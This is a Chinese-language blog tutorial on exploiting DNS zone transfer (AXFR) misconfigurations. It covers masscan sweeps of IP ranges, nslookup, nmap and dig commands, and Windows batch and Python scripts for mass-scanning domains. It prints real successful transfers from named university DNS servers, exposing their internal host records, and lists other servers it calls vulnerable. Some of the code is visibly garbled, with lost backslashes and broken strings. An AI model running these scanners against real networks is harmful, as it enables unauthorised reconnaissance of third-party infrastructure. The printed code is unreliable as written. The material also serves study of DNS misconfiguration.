zoukankan      html  css  js  c++  java
  • DNS域传送漏洞

    DNS域传送

    DNS :Domain Name System
    一个保存IP地址和域名相互映射关系的分布式数据库,重要的互联网基础设施,默认使用的TCP/UDP端口号是53

    常见DNS记录类型:

    A       IP地址记录,记录一个域名对应的IP地址
    AAAA    IPv6 地址记录,记录一个域名对应的IPv6地址
    CNAME   别名记录,记录一个主机的别名 
    MX      电子邮件交换记录,记录一个邮件域名对应的IP地址,如root@xxxx.com
    NS      域名服务器记录 ,记录该域名由哪台域名服务器解析
    PTR     反向记录,也即从IP地址到域名的一条记录
    TXT     记录域名的相关文本信息
    

    域传送 :DNS Zone Transfer

    DNS服务器分为:主服务器备份服务器缓存服务器
    域传送是指备份服务器从主服务器拷贝数据,并用得到的数据更新自身数据库。
    在主备服务器之间同步数据库,需要使用“DNS域传送”。

    方法

    1. 利用网络空间搜索引擎收集域名服务器
    shodan zoomeye fofa port:53

    2. 利用MasScan收集dns服务器

    ./bin/masscan -p:53 -oX ns.xml --rate 160000 101.0.0.0-110.0.0.0
    

    获得开放53端口的潜在漏洞DNS服务器对象。

    3. 目标针对
    针对某个目标域名,查询目标所处域dns服务器是否有域传送漏洞,从而获得横向渗透的机会和更多的可能性。见下文:

    nslookup结合dig的科学利用

    4. 后人乘凉
    前人已经栽好树了,我们只需要找到树,就可乘凉了。收集好的dns服务器与域名:传送门

    三. 检测与利用


    原理

    DNS服务器配置不当,导致匿名用户利用DNS域传送协议获取某个域的所有记录。
    通过可以实现DNS域传送协议的程序,尝试匿名进行DNS域传送,获取记录。
    

    危害

    网络拓扑结构泄露给潜在的攻击者,包括一些安全性较低的内部主机,如测试服务器等。直接加快、助长攻击者的入侵过程。
    

    检测与利用

    1. nslookup
    基本过程

    1) 输入nslookup命令进入交互式shell;
    2) server 命令参数设定查询将要使用的DNS服务器;
    3) ls命令列出某个域中的所有域名;
    4) exit命令退出
    

    失败例子
    ps: 貌似现在域传送漏洞不太好找了

    > nslookup
    DNS request timed out.
        timeout was 2 seconds.
    默认服务器:  UnKnown
    Address:  114.114.114.114
    
    > server ss2.bjfu.edu.cn
    默认服务器:  ss2.bjfu.edu.cn
    Address:  202.204.112.67
    
    > ls bjfu.edu.cn
    [ss2.bjfu.edu.cn]
    *** 无法列出域 bjfu.edu.cn: Query refused
    DNS 服务器拒绝将区域 bjfu.edu.cn 传送到你的计算机。如果这不正确,
    请检查 IP 地址 202.204.112.67 的 DNS 服务器上 bjfu.edu.cn 的
    区域传送安全设置。
    

    成功例子
    ps:部分结果已隐去

    > nslookup
    默认服务器:  public1.114dns.com
    Address:  114.114.114.114
    
    > server ring.cugb.edu.cn
    默认服务器:  ring.cugb.edu.cn
    Address:  202.204.105.1
    
    > ls cugb.edu.cn
    [ring.cugb.edu.cn]
     cugb.edu.cn.                   NS     server = ring.cugb.edu.cn
     cugb.edu.cn.                   A      127.0.0.1
     acm                            A      121.194.86.2
     bbs                            A      202.204.105.172
     bm                             A      202.204.105.179
     bsbm                           A      202.204.105.17
     bslt                           A      202.204.109.241
     cas                            A      202.204.105.97
     ce                             A      202.204.99.249
     chushi                         A      202.204.105.243
     cj                             A      202.204.96.111
     cms                            A      202.204.105.179
     computer                       A      202.204.96.202
     csc                            A      202.204.97.60
     cugblx                         A      202.204.105.173
    .
    .
    .
    .
     yx                             A      202.204.105.179
     zhsh                           A      202.204.105.198
     zzb                            A      202.204.105.243
    

    非交互式方法
    为了避免和nslookup交换,可以编写一个ls.bat

    echo ls %1 | nslookup – %2
    

    %1代表第一个参数,即xxx.edu.cn
    %2代表第二个参数,即dns.xxx.edu.cn
    echo是回声命令,原文输出传入的参数内容

    测试dns.xxx.edu.cn服务器,可以执行命令

    ls.bat xxx.edu.cn dns.xxx.edu.cn
    

    2. nmap

    nmap --script dns-zone-transfer --script-args dns-zone-transfer.domain=xxx.edu.cn -p 53 -Pn dns.xxx.edu.cn
    

    dns-zone-transfer.domain参数 指定要查询的域;dns.xxx.edu.cn 为指定的查询域名服务器
    成功的话会如下所示,列出了指定域中所有的记录(如果端口屏蔽,就查不出了,不太实用)。

    > nmap --script dns-zone-transfer --script-args dns-zone-transfer.domain=hzmc.edu.cn -p 53 -Pn dns.hzmc.edu.cn
    
    Starting Nmap 7.10 ( https://nmap.org ) at ****
    Nmap scan report for dns.hzmc.edu.cn (211.86.0.1)
    Host is up (0.38s latency).
    PORT   STATE SERVICE
    53/tcp open  domain
    | dns-zone-transfer:
    | hzmc.edu.cn.           SOA    ns.hzmc.edu.cn. root.ns.hzmc.edu.cn.
    | hzmc.edu.cn.           NS     ns.hzmc.edu.cn.
    | hzmc.edu.cn.           NS     dns.hzmc.edu.cn.
    | hzmc.edu.cn.           A      211.86.0.1
    | hzmc.edu.cn.           MX     10 ns.hzmc.edu.cn.
    | dns.hzmc.edu.cn.       A      211.86.0.1
    | ftp.hzmc.edu.cn.       CNAME  dns.hzmc.edu.cn.
    | www.jwc.hzmc.edu.cn.   A      211.86.3.182
    | www.lib.hzmc.edu.cn.   A      211.86.3.38
    | www.spdb.hzmc.edu.cn.  A      211.86.0.3
    | www.hzmc.edu.cn.       A      211.86.0.4
    | www.yzzp.hzmc.edu.cn.  A      211.86.0.8
    | www.zwc.hzmc.edu.cn.   A      211.86.2.200
    |_hzmc.edu.cn.           SOA    ns.hzmc.edu.cn. root.ns.hzmc.edu.cn.
    
    Nmap done: 1 IP address (1 host up) scanned in 20.43 seconds
    

    3. dig
    windows免安装版dig下载地址: Windows绿色版dig工具

    使用命令:

    dig @dns.xxx.edu.cn axfr xxx.edu.cn
    

    @指定域名服务器;axfr 为域传送指令;xxx.edu.cn表示要查询的域名;

    成功测试
    ps:部分结果已隐去

    > dig @ring.cugb.edu.cn axfr cugb.edu.cn
    
    ; <<>> DiG 9.11.0-P1 <<>> @ring.cugb.edu.cn axfr cugb.edu.cn
    ; (1 server found)
    ;; global options: +cmd
    cugb.edu.cn.            86400   IN      SOA     ring.cugb.edu.cn. root.cugb.edu.cn. 20130504 86400 3600 604800 10800
    cugb.edu.cn.            86400   IN      TXT     "v=spf1 ip4:202.204.105.6/24 ~all"
    cugb.edu.cn.            86400   IN      NS      ring.cugb.edu.cn.
    cugb.edu.cn.            86400   IN      MX      5 mail.cugb.edu.cn.
    cugb.edu.cn.            86400   IN      A       127.0.0.1
    cugb.edu.cn.            86400   IN      AAAA    ::1
    acm.cugb.edu.cn.        86400   IN      A       121.194.86.2
    bbs.cugb.edu.cn.        86400   IN      A       202.204.105.172
    bm.cugb.edu.cn.         86400   IN      A       202.204.105.179
    .
    .
    .
    .
    zhsh.cugb.edu.cn.       86400   IN      A       202.204.105.198
    zzb.cugb.edu.cn.        86400   IN      A       202.204.105.243
    cugb.edu.cn.            86400   IN      SOA     ring.cugb.edu.cn. root.cugb.edu.cn. 20130504 86400 3600 604800 10800
    ;; Query time: 46 msec
    ;; SERVER: 202.204.105.1#53(202.204.105.1)
    ;; WHEN: ****
    ;; XFR size: 114 records (messages 1, bytes 2562)
    

    dig的批处理利用 For Windows

    不想偷懒的学生不是好司机。
    建立文件: .LandGrey-Dns-Zone-Transfer-Scan.bat(提供下载链接: LandGrey-Dns-Zone-Transfer-Scan.bat)
    写入以下内容:

    @echo off
    Rem Build By LandGrey
    title Dns Zone Transfer Scan
    echo +++++++++++++++++++++++++++++ LandGrey Dns Zone Transfer Scan bat +++++++++++++++++++++++++++++ 
    for /f "tokens=1,2 delims= " %%i in (%cd%/dns-zone-transfer/hostlist.txt) do echo Scanning %%j & %cd%dig.exe @%%i axfr %%j>> %cd%/dns-zone-transfer/ScanResults.txt
    

    必要的解释
    整个批处理主要是for循环一行一行的读取当前目录下的“/dns-zone-transfer/hostlist.txt”文件,进行工作;
    %cd% 代表bat文件当前目录;
    delims= 指定分隔符;表示读取的一行文本以空格来分隔; 当然,也可以自己修改分隔符;
    tokens=1,2 表示取以分隔符分隔的第一个和第二个元素;
    do后面是具体做的事: 一边提示正在扫描的域名,一边扫描域传送漏洞;
    ps: 在批处理中,%%i用来代指第一个元素,根据字母顺序(i,j,k…),%%j指代第二个元素,以此类推;
    dig.exe @%%i axfr %%j 即dig @dns.xxx.edu.cn axfr xxx.edu.cn的替换模版;
    这就要求hostlist.txt文件中的书写格式应该为:“[dns-server] [domain]”,类似于如下的形式:

    dns.xxx.edu.cn xxx.edu.cn1
    

    %cd%dig.exe 表示 .LandGrey-Dns-Zone-Transfer-Scan.bat文件要与dig.exe放在同一个目录下;
    最后查询结果全部保存在当前目录下的“/dns-zone-transfer/ScanResults.txt”文件中;


    nslookup结合dig的科学利用
    不想的开好车的学生不是老司机。
    如果获得了目标域名,并不清楚目标的主dns服务器时,可以通过用如下的nslookup语句,先查询目标域名的主dns服务器,然后再用dig进行DNS域传送检测,最后用python脚本实现。

    > nslookup -type=ns landgrey.cn
    服务器:  public1.114dns.com
    Address:  114.114.114.114
    
    非权威应答:
    landgrey.cn     nameserver = dns9.hichina.com
    landgrey.cn     nameserver = dns10.hichina.com1234567
    

    单个查询(实用)
    提供下载地址: dztester

    #!/usr/bin/env python
    # coding:utf-8
    #
    # Build by LandGrey 2016-12-03
    #
    
    import re
    import os
    import sys
    
    
    def dns_zone_tranfer_finder(domain):
        print '[+] Nslookup %s' % domain
        cmd_res = os.popen('nslookup -type=ns ' + domain).read()  # fetch DNS Server List
        dns_servers = re.findall('nameserver = ([w.]+)', cmd_res)
        if len(dns_servers) == 0:
            print '[+] No DNS Server Found!
    '
            exit(0)
        for singledns in dns_servers:
            print '[+] Using @%s' % singledns
            cmd_res = os.popen('dig @%s axfr %s' % (singledns, domain)).read()
            # print cmd_res
            if cmd_res.find('XFR size') > 0:
                print '[+] Vulnerable dns server found:', singledns
                print cmd_res
            else:
                print '[+] No Vulnerable found'
    
    
    def usage():
        print '[+] Usage: python DZT-tester.py [domain]
    '
    
    
    if __name__ == "__main__":
        if len(sys.argv) != 2:
            usage()
        elif '-h' in sys.argv[1]:
            usage()
        else:
            domain = sys.argv[1]
            print '[+] Test %s' % domain
            dns_zone_tranfer_finder(domain)
            print '[+]
    

    使用方式:

    python dztester.py [domain]
    

    批量查询
    *****脚本同一目录下应有‘dns-zone-transfer’目录;‘dns-zone-transfer’目录下有‘dns’子目录;
    *****要检测的域名列表存放在‘dns-zone-transferdomain.txt’中,一行一个。
    *****结果存储在‘dns-zone-transferdns’目录和‘dns-zone-transfervulnerable_hosts.txt’文件中。

    # coding:utf-8
    
    import re
    import os
    import sys
    import threading
    
    
    def dns_zone_tranfer_finder():
        global c_index
        while True:
            lock.acquire()
            if c_index >= len(DomainLists):
                lock.release()
                break
            domain = DomainLists[c_index].lstrip('www.')
            c_index += 1
            lock.release()
            cmd_res = os.popen('nslookup -type=ns ' + domain).read()    # fetch DNS Server List
            dns_servers = re.findall('nameserver = ([w.]+)', cmd_res)
            for server in dns_servers:
                if len(server) < 5:
                    server += domain
                cmd_res = os.popen('dig @%s axfr %s +short' % (server, domain)).read()
                if cmd_res.find('XFR size') > 0 
                        and cmd_res.find('Transfer failed.') < 0 
                        and cmd_res.find('connection timed out') < 0:
                    lock.acquire()
                    print '*' * 10 + ' Vulnerable dns server found:', server, '*' * 10
                    lock.release()
                    with open(os.path.join(currentdir, 'dns-zone-transfer', 'vulnerable_hosts.txt'), 'a') as f:
                        f.write('%s    %s
    ' % (server.ljust(30), domain))
                    with open(os.path.join(currentdir, 'dns-zone-transfer', 'dns', server + '.txt'), 'w') as f:
                        f.write(cmd_res)
    
    
    if __name__ == "__main__":
        currentdir = os.path.dirname(sys.argv[0])
        target = open(os.path.join(currentdir, 'dns-zone-transfer', 'domain.txt'))
        DomainLists = []
        for host in target.readlines():
            DomainLists.append(host)
        print u'采集 %d 个...' % len(DomainLists)
        threads = []
        c_index = 0
        lock = threading.Lock()
        for i in range(10):
            t = threading.Thread(target=dns_zone_tranfer_finder)
            t.start()
            threads.append(t)
        for t in threads:
            t.join()
        print 'All 
    

    漏洞存在标识主要是dig命令结果中出现特征字符串“XFR size”;

    运行起来类似下面这样:

    ********** Vulnerable dns server found: nknu.nknu.edu.tw **********
    ********** Vulnerable dns server found: ns2.ntnu.edu.tw **********
    ********** Vulnerable dns server found: ns2.must.edu.mo **********
    
  • 相关阅读:
    Git教程
    test
    Android中的权限机制
    Android中<uses-library>的理解
    权限机制
    总是听到有人说AndroidX,到底什么是AndroidX?Android和AndroidX的区别
    VMware Tools按钮变灰色,无法安装的解决方法
    VMware Tools (ubuntu系统)安装详细过程与使用
    Android studio常用快捷键
    CVE漏洞分析
  • 原文地址:https://www.cnblogs.com/tomyyyyy/p/14581892.html
Copyright © 2011-2022 走看看